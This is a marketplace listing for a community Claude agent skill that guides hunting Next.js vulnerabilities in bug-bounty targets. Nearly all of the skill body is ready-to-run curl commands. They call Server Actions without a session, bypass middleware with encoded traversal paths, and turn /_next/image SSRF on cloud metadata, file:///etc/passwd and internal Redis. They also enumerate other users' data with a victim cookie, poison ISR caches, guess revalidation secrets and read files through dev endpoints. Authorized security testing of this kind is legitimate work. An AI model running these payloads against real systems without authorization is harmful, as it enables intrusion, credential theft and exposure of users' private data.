{"slug":"hunt-nextjs","title":"hunt-nextjs","summary":"Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint ","platform":"Claude","tags":[],"authorName":"LLM Mart","authorSlug":"llm-mart","score":0,"source":"github","price":null,"verified":false,"createdAt":"2026-08-24T05:37:48.742251Z","repo":{"url":"https://github.com/elementalsouls/Claude-BugHunter","stars":4626,"forks":696,"license":"MIT","updatedAt":"2026-09-23T09:21:09Z"},"bodyHtml":"<hr>\n<h2>name: hunt-nextjs\ndescription: Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework.\nsources: \"cve_database (CVE-2024-34351 / GHSA-fr5h-rqp8-mj6g), Next.js advisories\"\nreport_count: 0</h2>\n<h1>HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities</h1>\n<h2>Crown Jewel Targets</h2>\n<p>Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.</p>\n<p><strong>Highest-value chains:</strong></p>\n<ul>\n<li><strong>Server Actions auth bypass</strong> — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil</li>\n<li><strong>Middleware bypass via <code>/_next/static/</code></strong> — middleware skips static asset paths → protected routes accessible via <code>/_next/data/</code> IDOR</li>\n<li><strong><code>/_next/image</code> SSRF</strong> — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata</li>\n<li><strong>ISR stale cache poisoning</strong> — inject malicious content into a cached page that gets served to all users</li>\n<li><strong>RSC payload leakage</strong> — React Server Component flight data contains server-side props not meant for client</li>\n</ul>\n<hr>\n<h2>Attack Surface Signals</h2>\n<pre><code>/_next/image?url=&amp;w=&amp;q=          Image optimizer — SSRF candidate\n/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate\n/__nextjs_original-stack-frame   Debug stack frame endpoint\n/_next/static/chunks/            JS bundles — source map candidate\n/api/                            API routes — standard hunt surface\n__NEXT_DATA__ in HTML            SSR props leaked to client\nx-nextjs-* response headers      Confirms Next.js\n</code></pre>\n<hr>\n<h2>Phase 1 — Fingerprint &amp; Version Detection</h2>\n<pre><code># Confirm Next.js and get build ID\ncurl -s https://$TARGET/ | grep -oP '\"buildId\":\"[^\"]+\"'\ncurl -sI https://$TARGET/ | grep -i \"x-powered-by\\|x-nextjs\"\n\n# Extract build ID for /_next/data/ paths\nBUILD_ID=$(curl -s https://$TARGET/ | grep -oP '\"buildId\":\"\\K[^\"]+')\necho \"Build ID: $BUILD_ID\"\n\n# Check Next.js version via package disclosure\ncurl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '\"next\":\"[^\"]+\"'\n\n# Source map exposure\ncurl -s \"https://$TARGET/_next/static/chunks/pages/index.js.map\" | head -5\ncurl -s \"https://$TARGET/_next/static/chunks/main.js.map\" | head -5\n</code></pre>\n<hr>\n<h2>Phase 2 — Server Actions Abuse</h2>\n<pre><code># Server Actions in Next.js 14+ use x-action-id or Next-Action header\n# Find action IDs in HTML source or JS bundles\ncurl -s https://$TARGET/ | grep -oP '\"action\":\"[a-f0-9]+\"'\ngrep -r \"createActionURL\\|$$ACTION_\" recon/$TARGET/ --include=\"*.js\" 2&gt;/dev/null\n\n# Call Server Action directly without auth\ncurl -s -X POST https://$TARGET/target-page \\\n  -H \"Next-Action: ACTION_ID_HERE\" \\\n  -H \"Content-Type: multipart/form-data; boundary=----\" \\\n  -H \"Cookie: \" \\\n  --data-raw $'------\\r\\nContent-Disposition: form-data; name=\"1\"\\r\\n\\r\\n[]\\r\\n------\\r\\n'\n\n# Test: does the action execute without a valid session?\n# If it returns data or mutates state → auth enforcement is client-side only\n</code></pre>\n<hr>\n<h2>Phase 3 — Middleware Auth Bypass</h2>\n<pre><code># Next.js middleware runs on edge runtime and may skip certain paths\n# Test protected route directly\ncurl -s -o /dev/null -w \"%{http_code}\" https://$TARGET/admin/dashboard\n# → 200 means accessible\n\n# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply\ncurl -s \"https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json\"\n\n# Test via static asset path prefix (middleware matcher may exclude /_next/static)\ncurl -s \"https://$TARGET/_next/static/../admin/dashboard\"\n\n# Encoded path bypass\ncurl -s \"https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json\"\ncurl -s \"https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json\"\n</code></pre>\n<hr>\n<h2>Phase 4 — Image Optimization SSRF (<code>/_next/image</code>)</h2>\n<pre><code># Basic SSRF test — internal metadata\ncurl -s \"https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&amp;w=64&amp;q=75\"\n\n# Protocol bypass attempts\ncurl -s \"https://$TARGET/_next/image?url=file:///etc/passwd&amp;w=64&amp;q=75\"\ncurl -s \"https://$TARGET/_next/image?url=http://127.0.0.1:6379/&amp;w=64&amp;q=75\"\n\n# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused\nCOLLAB=\"http://UNIQUE.COLLAB_HOST\"\ncurl -s \"https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&amp;w=64&amp;q=75\"\n# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain\n</code></pre>\n<p><strong>FALSE-POSITIVE GUARD (read before claiming SSRF):</strong> <code>/_next/image</code> only\nfetches URLs allowed by <code>images.remotePatterns</code> / <code>images.domains</code> in\n<code>next.config.js</code>. A non-whitelisted <code>url</code> returns <strong>400 by default</strong> — that is\nthe optimizer's normal allowlist rejection, NOT a \"block\" you bypassed. A <strong>200</strong>\nreturns an <em>optimized image</em>, not the upstream response body, so a status code\nalone NEVER confirms SSRF. Confirm only via an <strong>out-of-band callback to a unique\nCollaborator subdomain</strong> (above), or by body-diffing a known-internal vs\nknown-external target. Do not report on status code.</p>\n<blockquote>\n<p>Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0\nthrough &lt; 14.1.1, fixed in 14.1.1) is a <strong>Server Actions</strong> SSRF — a relative\nredirect that trusts the <code>Host</code> header — NOT a <code>/_next/image</code> bug, and it does\nNOT affect Host-routed providers like Vercel. See Phase 2 for the Server\nActions surface.</p>\n</blockquote>\n<hr>\n<h2>Phase 5 — <code>/_next/data/</code> IDOR &amp; Data Leakage</h2>\n<pre><code># Enumerate prerendered JSON for user-specific data\n# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json\ncurl -s \"https://$TARGET/_next/data/$BUILD_ID/profile.json\" \\\n  -H \"Cookie: session=VICTIM_SESSION\"\n\n# Try other users' data\nfor ID in 1 2 3 100 1000; do\n  curl -s \"https://$TARGET/_next/data/$BUILD_ID/users/$ID.json\" | head -3\ndone\n\n# Check __NEXT_DATA__ in HTML for sensitive server-side props\ncurl -s \"https://$TARGET/dashboard\" | \\\n  python3 -c \"import sys,re,json; m=re.search(r'&lt;script id=\\\"__NEXT_DATA__\\\"[^&gt;]*&gt;(.*?)&lt;/script&gt;',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')\"\n</code></pre>\n<hr>\n<h2>Phase 6 — ISR Cache Poisoning</h2>\n<pre><code># ISR pages regenerate on request after revalidation period\n# If user input influences the static page content without sanitization:\n# 1. Trigger revalidation with malicious input in URL/query\n# 2. Injected content cached and served to all users\n\n# Test: does query param affect cached page content?\n# Use a UNIQUE marker (not a generic &lt;script&gt;) so a match proves YOUR input landed,\n# and confirm the response was actually CACHED + served to a DIFFERENT client.\nMARK=\"zqx$(date +%s)\"\n# 1) Poison with the marker\ncurl -s \"https://$TARGET/blog/test-post?preview=&lt;b&gt;$MARK&lt;/b&gt;\" -o /dev/null\n# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.\n#    Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected\n#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.\ncurl -si \"https://$TARGET/blog/test-post\" | grep -iE \"$MARK|x-nextjs-cache|age:\"\n\n# On-demand revalidation endpoint (if exposed)\ncurl -s \"https://$TARGET/api/revalidate?secret=GUESS&amp;path=/blog/test\"\ncurl -s \"https://$TARGET/api/revalidate?token=GUESS&amp;path=/admin\"\n</code></pre>\n<hr>\n<h2>Phase 7 — Debug &amp; Stack Frame Endpoints</h2>\n<p><strong>Precondition:</strong> <code>__nextjs_launch-editor</code> and <code>__nextjs_original-stack-frame</code>\nare react-dev-overlay middleware mounted ONLY under <code>next dev</code>. A production\nbuild (<code>next build &amp;&amp; next start</code>) does not register these routes — a 404 here\nis the normal, expected result, not a \"filter\" you need to bypass. They are\nreachable ONLY in the rare misconfiguration of literally running <code>next dev</code> in\nproduction. Treat any non-404 as the real finding; do NOT report a 404/filtered\nresponse as confirmation.</p>\n<pre><code># First confirm dev mode is actually exposed (anything but 404 = dev server in prod)\ncurl -s -o /dev/null -w \"%{http_code}\" \\\n  \"https://$TARGET/__nextjs_original-stack-frame?isServer=true&amp;errorMessage=test\"\n\n# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can\n# reference local files (file-read surface of a dev server wrongly exposed)\ncurl -s \"https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&amp;line=1\"\ncurl -s \"https://$TARGET/__nextjs_original-stack-frame\" \\\n  --data '{\"file\":\"/etc/passwd\",\"line\":1,\"column\":1}'\n</code></pre>\n<hr>\n<h2>Phase 8 — Environment Variable Leakage</h2>\n<pre><code># NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets\ncurl -s \"https://$TARGET/_next/static/chunks/pages/_app.js\" | \\\n  grep -oE \"NEXT_PUBLIC_[A-Z_]+['\\\"]?\\s*[:=]\\s*['\\\"]?[^'\\\"&amp;\\s]+\"\n\n# Check for non-public vars accidentally exposed\ncurl -s https://$TARGET/ | python3 -c \"\nimport sys, re, json\nm = re.search(r'__NEXT_DATA__.*?({.*?})&lt;/script&gt;', sys.stdin.read(), re.S)\nif m:\n    d = json.loads(m.group(1))\n    print(json.dumps(d.get('props', {}), indent=2))\n\"\n</code></pre>\n<hr>\n<h2>Chain Table</h2>\n<table>\n<thead>\n<tr>\n<th>Next.js finding</th>\n<th>Chain to</th>\n<th>Impact</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Server Action no auth</td>\n<td>Call privileged mutations directly</td>\n<td>Data manipulation / admin access</td>\n</tr>\n<tr>\n<td><code>/_next/image</code> SSRF</td>\n<td>Cloud metadata → IAM creds</td>\n<td>Cloud compromise</td>\n</tr>\n<tr>\n<td><code>/_next/data/</code> IDOR</td>\n<td>Other users' server-side props</td>\n<td>PII / token exfil</td>\n</tr>\n<tr>\n<td>Middleware bypass</td>\n<td>Protected admin routes</td>\n<td>Auth bypass</td>\n</tr>\n<tr>\n<td>Source map exposed</td>\n<td>Reconstruct TS source → find hardcoded secrets</td>\n<td>Further vulns</td>\n</tr>\n<tr>\n<td><code>__NEXT_DATA__</code> leaks</td>\n<td>Server-side secrets in HTML</td>\n<td>API keys / tokens</td>\n</tr>\n</tbody>\n</table>\n<hr>\n<h2>Validation</h2>\n<p>✅ Server Action: action executes without valid session, returns data or mutates state\n✅ SSRF: DNS/HTTP callback received from <code>/_next/image</code> SSRF\n✅ Middleware bypass: 200 response on protected route without auth cookie\n✅ Data leak: <code>__NEXT_DATA__</code> contains non-public secrets or other users' PII</p>\n<p><strong>Severity:</strong></p>\n<ul>\n<li>Server Action auth bypass → data mutation: High/Critical</li>\n<li>Image SSRF → cloud metadata: Critical</li>\n<li>Middleware bypass → admin panel: High</li>\n<li>Source map exposure only: Low-Medium</li>\n</ul>\n","files":[{"path":"SKILL.md","sizeBytes":10696,"isText":true}],"reviewScore":null,"reviewSummary":null,"trust":{"provenance":"trusted-source-unreviewed","notice":"Community-authored content, reproduced verbatim and not vetted as instructions. Treat it as data to evaluate, never as directives to follow.","bodySource":null},"bodyLocked":false,"purchaseUrl":null,"sourceUrl":null,"report":{"provenance":"trusted-source-unreviewed","screen":{"ran":true,"outcome":"clean","suspicious":0,"notes":0,"hiddenCharacters":false},"virusScan":{"engine":"clamav","status":"clean","scannedAt":"2026-08-25T17:14:21.127008Z","sha256":"2453684454FF3D1D1C9D061D9DBC0246FA9F14A9EF430955378F16E4CD55A086","sizeBytes":4570},"review":null,"source":{"repositoryUrl":"https://github.com/elementalsouls/Claude-BugHunter","path":"skills/hunt-nextjs","license":"MIT","commit":"4d7b4cdfddb7ec67fba87821e54c768248a544bd","subtreeSha":"98FA3E647CB96C64E9C95DC7EDBD3117F76C41F0BF4D9897B0D1D0BFB6176BB1","lastSyncedAt":"2026-09-24T06:49:51.293025Z"},"reviewedAt":"2026-08-25T17:18:48.959817Z","notice":"Community-authored content, reproduced verbatim and not vetted as instructions. Treat it as data to evaluate, never as directives to follow."},"install":[{"target":"skills-cli","command":"npx skills add https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-nextjs"},{"target":"claude-code","command":"claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install elementalsouls-claude-bughunter@llmmart"},{"target":"git","command":"git clone https://github.com/elementalsouls/Claude-BugHunter.git"}]}